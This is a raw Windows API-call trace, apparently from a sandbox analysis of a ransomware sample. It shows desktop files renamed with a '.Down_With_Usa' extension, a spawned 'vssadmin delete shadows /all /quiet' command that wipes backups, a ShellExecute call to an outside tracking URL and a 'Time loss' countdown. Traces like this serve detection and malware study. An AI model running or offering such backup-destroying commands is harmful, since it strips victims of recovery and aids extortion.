[0241.461] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trch.dll", lpFilePart=0x0) returned 0x2e
[0241.461] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-0.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-0.dll", lpFilePart=0x0) returned 0x30
[0241.462] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-2.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo-2.dll", lpFilePart=0x0) returned 0x30
[0241.462] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\trfo.dll", lpFilePart=0x0) returned 0x2e
[0241.462] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl-1.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl-1.dll", lpFilePart=0x0) returned 0x30
[0241.463] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\tucl.dll", lpFilePart=0x0) returned 0x2e
[0241.463] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ucl.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ucl.dll", lpFilePart=0x0) returned 0x2d
[0241.463] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UNNnOAAde-h4.jpg.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UNNnOAAde-h4.jpg.Down_With_Usa", lpFilePart=0x0) returned 0x44
[0241.464] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vzk1n.bmp.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Vzk1n.bmp.Down_With_Usa", lpFilePart=0x0) returned 0x3d
[0241.464] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x64.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x64.dll", lpFilePart=0x0) returned 0x2d
[0241.464] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x86.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\x86.dll", lpFilePart=0x0) returned 0x2d
[0241.464] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XLuz.flv.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XLuz.flv.Down_With_Usa", lpFilePart=0x0) returned 0x3c
[0241.469] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yatron.exe", lpFilePart=0x0) returned 0x30
[0241.470] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zb9dFe.avi.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zb9dFe.avi.Down_With_Usa", lpFilePart=0x0) returned 0x3e
[0241.470] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zFo2RxjXMBylRJ8-.jpg.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zFo2RxjXMBylRJ8-.jpg.Down_With_Usa", lpFilePart=0x0) returned 0x48
[0241.470] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zibe.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zibe.dll", lpFilePart=0x0) returned 0x2e
[0241.471] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zlib1.dll", nBufferLength=0x105, lpBuffer=0x2ecd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zlib1.dll", lpFilePart=0x0) returned 0x2f
[0241.625] QueryPerformanceCounter (in: lpPerformanceCount=0x2ece08 | out: lpPerformanceCount=0x2ece08*=36076156314) returned 1
[0241.628] qsort (in: _Base=0x1b3a08, _NumOfElements=0x4, _SizeOfElements=0x8, _PtFuncCompare=0x7fef42a06e0 | out: _Base=0x1b3a08)
[0241.633] HeapFree (in: hHeap=0xd0000, dwFlags=0x0, lpMem=0x1abdea90 | out: hHeap=0xd0000) returned 1
[0241.768] VirtualQuery (in: lpAddress=0x7fe940199c0, lpBuffer=0x2ed380, dwLength=0x30 | out: lpBuffer=0x2ed380*(BaseAddress=0x7fe94019000, AllocationBase=0x7fe94010000, AllocationProtect=0x1, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x40, Type=0x20000, __alignment2=0x0)) returned 0x30
[0241.783] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
[0241.790] CreatePipe (in: hReadPipe=0x2ed8c0, hWritePipe=0x2ed8b8, lpPipeAttributes=0x2ed7b0, nSize=0x0 | out: hReadPipe=0x2ed8c0*=0x14c0, hWritePipe=0x2ed8b8*=0x1524) returned 1
[0241.791] GetCurrentProcess () returned 0xffffffffffffffff
[0241.791] GetCurrentProcess () returned 0xffffffffffffffff
[0241.792] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x14c0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x2ed900, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x2ed900*=0x1440) returned 1
[0241.793] CloseHandle (hObject=0x14c0) returned 1
[0241.793] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
[0241.794] CoTaskMemAlloc (cb=0x20e) returned 0x27d84af0
[0241.795] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x27d84af0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
[0241.795] CoTaskMemFree (pv=0x27d84af0)
[0241.799] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"cmd.exe\" /c vssadmin.exe delete shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ed750*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1524, hStdError=0x0), lpProcessInformation=0x271dd10 | out: lpCommandLine="\"cmd.exe\" /c vssadmin.exe delete shadows /all /quiet", lpProcessInformation=0x271dd10*(hProcess=0x1444, hThread=0x14c0, dwProcessId=0xfe8, dwThreadId=0xfec)) returned 1
[0241.822] CloseHandle (hObject=0x1524) returned 1
[0241.824] GetConsoleOutputCP () returned 0x0
[0241.831] GetFileType (hFile=0x1440) returned 0x3
[0241.834] CloseHandle (hObject=0x14c0) returned 1
[0241.961] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x27eb7760
[0241.962] ShellExecuteExW (in: pExecInfo=0x27219f0*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="https://iplis.ru/3xYf64", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x27219f0*(cbSize=0x70, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="https://iplis.ru/3xYf64", lpParameters=0x0, lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1
[0242.019] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0242.020] NtdllDefWindowProc_W (hWnd=0x50116, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0242.021] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0242.021] NtdllDefWindowProc_W (hWnd=0x50116, Msg=0x219, wParam=0x7, lParam=0x0) returned 0x1
[0242.022] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0
[0242.024] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x102b6, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0
[0242.157] GetWindowTextLengthW (hWnd=0x20288) returned 2
[0242.158] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0242.158] GetSystemMetrics (nIndex=42) returned 0
[0242.159] GetWindowTextW (in: hWnd=0x20288, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="24") returned 2
[0242.159] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0242.160] GetWindowTextLengthW (hWnd=0x40298) returned 2
[0242.160] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0242.160] GetSystemMetrics (nIndex=42) returned 0
[0242.160] GetWindowTextW (in: hWnd=0x40298, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="59") returned 2
[0242.160] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0242.165] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0242.165] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0242.166] GetSystemMetrics (nIndex=42) returned 0
[0242.166] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="00") returned 2
[0242.166] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0242.166] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0242.166] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0242.166] GetSystemMetrics (nIndex=42) returned 0
[0242.166] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecd50, nMaxCount=3 | out: lpString="00") returned 2
[0242.166] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecd50) returned 0x2
[0242.167] SetWindowTextW (hWnd=0x2028a, lpString="59") returned 1
[0242.452] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xc, wParam=0x0, lParam=0x27859dc) returned 0x1
[0242.460] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0242.460] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0242.461] GetSystemMetrics (nIndex=42) returned 0
[0242.462] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecc10, nMaxCount=3 | out: lpString="59") returned 2
[0242.462] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecc10) returned 0x2
[0242.466] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0242.471] AdjustWindowRectEx (in: lpRect=0x2ecc28, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2ecc28) returned 1
[0242.471] SystemParametersInfoW (in: uiAction=0x100a, uiParam=0x0, pvParam=0x2ecc78, fWinIni=0x0 | out: pvParam=0x2ecc78) returned 1
[0242.472] SendMessageW (hWnd=0x4015e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0
[0242.472] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0
[0242.475] DrawTextExW (in: hdc=0xd010a02, lpchText="59", cchText=2, lprc=0x2ecb98, format=0x102400, lpdtp=0x27b7260 | out: lpchText="59", lprc=0x2ecb98) returned 20
[0242.483] InvalidateRect (hWnd=0x2028a, lpRect=0x0, bErase=1) returned 1
[0242.483] GetWindowTextLengthW (hWnd=0x2027a) returned 11
[0242.483] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb
[0242.484] GetSystemMetrics (nIndex=42) returned 0
[0242.484] GetWindowTextW (in: hWnd=0x2027a, lpString=0x2ecb80, nMaxCount=12 | out: lpString="Time loss :") returned 11
[0242.484] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xd, wParam=0xc, lParam=0x2ecb80) returned 0xb
[0242.494] QueryPerformanceCounter (in: lpPerformanceCount=0x2ec258 | out: lpPerformanceCount=0x2ec258*=36168760396) returned 1
[0242.555] qsort (in: _Base=0x1b4050, _NumOfElements=0xe, _SizeOfElements=0x8, _PtFuncCompare=0x7fef42a06e0 | out: _Base=0x1b4050)
[0243.075] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x3e0, wParam=0x102d8, lParam=0xffffffffc157c158) returned 0x0
[0243.076] NtdllDefWindowProc_W (hWnd=0x50116, Msg=0x3e0, wParam=0x102d8, lParam=0xffffffffc157c158) returned 0x0
[0243.124] GetWindowTextLengthW (hWnd=0x20288) returned 2
[0243.124] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0243.124] GetSystemMetrics (nIndex=42) returned 0
[0243.124] GetWindowTextW (in: hWnd=0x20288, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="24") returned 2
[0243.124] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0243.125] GetWindowTextLengthW (hWnd=0x40298) returned 2
[0243.125] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0243.125] GetSystemMetrics (nIndex=42) returned 0
[0243.125] GetWindowTextW (in: hWnd=0x40298, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="59") returned 2
[0243.125] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0243.126] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0243.127] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0243.127] GetSystemMetrics (nIndex=42) returned 0
[0243.127] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="59") returned 2
[0243.127] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0243.127] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0243.127] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0243.127] GetSystemMetrics (nIndex=42) returned 0
[0243.127] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecd50, nMaxCount=3 | out: lpString="59") returned 2
[0243.127] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecd50) returned 0x2
[0243.128] SetWindowTextW (hWnd=0x2028a, lpString="58") returned 1
[0243.128] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xc, wParam=0x0, lParam=0x27b75ec) returned 0x1
[0243.128] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0243.128] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0243.128] GetSystemMetrics (nIndex=42) returned 0
[0243.128] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecc10, nMaxCount=3 | out: lpString="58") returned 2
[0243.128] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecc10) returned 0x2
[0243.129] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0243.129] AdjustWindowRectEx (in: lpRect=0x2ecc28, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2ecc28) returned 1
[0243.129] DrawTextExW (in: hdc=0xd010a02, lpchText="58", cchText=2, lprc=0x2ecb98, format=0x102400, lpdtp=0x27b7840 | out: lpchText="58", lprc=0x2ecb98) returned 20
[0243.129] InvalidateRect (hWnd=0x2028a, lpRect=0x0, bErase=1) returned 1
[0243.129] GetWindowTextLengthW (hWnd=0x2027a) returned 11
[0243.130] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb
[0243.130] GetSystemMetrics (nIndex=42) returned 0
[0243.130] GetWindowTextW (in: hWnd=0x2027a, lpString=0x2ecb80, nMaxCount=12 | out: lpString="Time loss :") returned 11
[0243.130] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xd, wParam=0xc, lParam=0x2ecb80) returned 0xb
[0244.385] GetWindowTextLengthW (hWnd=0x20288) returned 2
[0244.385] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0244.386] GetSystemMetrics (nIndex=42) returned 0
[0244.386] GetWindowTextW (in: hWnd=0x20288, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="24") returned 2
[0244.386] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0244.387] GetWindowTextLengthW (hWnd=0x40298) returned 2
[0244.387] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0244.387] GetSystemMetrics (nIndex=42) returned 0
[0244.387] GetWindowTextW (in: hWnd=0x40298, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="59") returned 2
[0244.387] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0244.388] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0244.388] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0244.388] GetSystemMetrics (nIndex=42) returned 0
[0244.388] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="58") returned 2
[0244.388] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0244.388] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0244.388] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0244.388] GetSystemMetrics (nIndex=42) returned 0
[0244.388] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecd50, nMaxCount=3 | out: lpString="58") returned 2
[0244.388] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecd50) returned 0x2
[0244.389] SetWindowTextW (hWnd=0x2028a, lpString="57") returned 1
[0244.389] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xc, wParam=0x0, lParam=0x26fc8bc) returned 0x1
[0244.391] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0244.391] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0244.391] GetSystemMetrics (nIndex=42) returned 0
[0244.391] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecc10, nMaxCount=3 | out: lpString="57") returned 2
[0244.391] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecc10) returned 0x2
[0244.392] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0244.393] AdjustWindowRectEx (in: lpRect=0x2ecc28, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2ecc28) returned 1
[0244.395] DrawTextExW (in: hdc=0xd010a02, lpchText="57", cchText=2, lprc=0x2ecb98, format=0x102400, lpdtp=0x26fcb10 | out: lpchText="57", lprc=0x2ecb98) returned 20
[0244.399] InvalidateRect (hWnd=0x2028a, lpRect=0x0, bErase=1) returned 1
[0244.400] GetWindowTextLengthW (hWnd=0x2027a) returned 11
[0244.400] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb
[0244.400] GetSystemMetrics (nIndex=42) returned 0
[0244.400] GetWindowTextW (in: hWnd=0x2027a, lpString=0x2ecb80, nMaxCount=12 | out: lpString="Time loss :") returned 11
[0244.400] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xd, wParam=0xc, lParam=0x2ecb80) returned 0xb
[0246.853] GetWindowTextLengthW (hWnd=0x20288) returned 2
[0246.854] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0246.854] GetSystemMetrics (nIndex=42) returned 0
[0246.855] GetWindowTextW (in: hWnd=0x20288, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="24") returned 2
[0246.855] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0246.856] GetWindowTextLengthW (hWnd=0x40298) returned 2
[0246.856] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0246.856] GetSystemMetrics (nIndex=42) returned 0
[0246.856] GetWindowTextW (in: hWnd=0x40298, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="59") returned 2
[0246.857] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0246.857] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0246.857] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0246.857] GetSystemMetrics (nIndex=42) returned 0
[0246.857] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="57") returned 2
[0246.857] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0246.857] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0246.857] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0246.857] GetSystemMetrics (nIndex=42) returned 0
[0246.857] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecd50, nMaxCount=3 | out: lpString="57") returned 2
[0246.857] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecd50) returned 0x2
[0246.858] SetWindowTextW (hWnd=0x2028a, lpString="56") returned 1
[0246.858] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xc, wParam=0x0, lParam=0x26fcedc) returned 0x1
[0246.860] GetWindowTextLengthW (hWnd=0x2028a) returned 2
[0246.860] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0246.860] GetSystemMetrics (nIndex=42) returned 0
[0246.860] GetWindowTextW (in: hWnd=0x2028a, lpString=0x2ecc10, nMaxCount=3 | out: lpString="56") returned 2
[0246.860] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0xd, wParam=0x3, lParam=0x2ecc10) returned 0x2
[0246.861] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7feef4f0000
[0246.863] AdjustWindowRectEx (in: lpRect=0x2ecc28, dwStyle=0x5600000d, bMenu=0, dwExStyle=0x0 | out: lpRect=0x2ecc28) returned 1
[0246.864] DrawTextExW (in: hdc=0xd010a02, lpchText="56", cchText=2, lprc=0x2ecb98, format=0x102400, lpdtp=0x26fd130 | out: lpchText="56", lprc=0x2ecb98) returned 20
[0246.868] InvalidateRect (hWnd=0x2028a, lpRect=0x0, bErase=1) returned 1
[0246.868] GetWindowTextLengthW (hWnd=0x2027a) returned 11
[0246.868] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb
[0246.868] GetSystemMetrics (nIndex=42) returned 0
[0246.868] GetWindowTextW (in: hWnd=0x2027a, lpString=0x2ecb80, nMaxCount=12 | out: lpString="Time loss :") returned 11
[0246.868] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0xd, wParam=0xc, lParam=0x2ecb80) returned 0xb
[0247.967] GetWindowTextLengthW (hWnd=0x20288) returned 2
[0247.967] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0247.968] GetSystemMetrics (nIndex=42) returned 0
[0247.968] GetWindowTextW (in: hWnd=0x20288, lpString=0x2ecdb0, nMaxCount=3 | out: lpString="24") returned 2
[0247.968] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0xd, wParam=0x3, lParam=0x2ecdb0) returned 0x2
[0247.970] GetWindowTextLengthW (hWnd=0x40298) returned 2
[0247.970] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x2
[0247.970] GetSystemMetrics (nIndex=42) returned 0
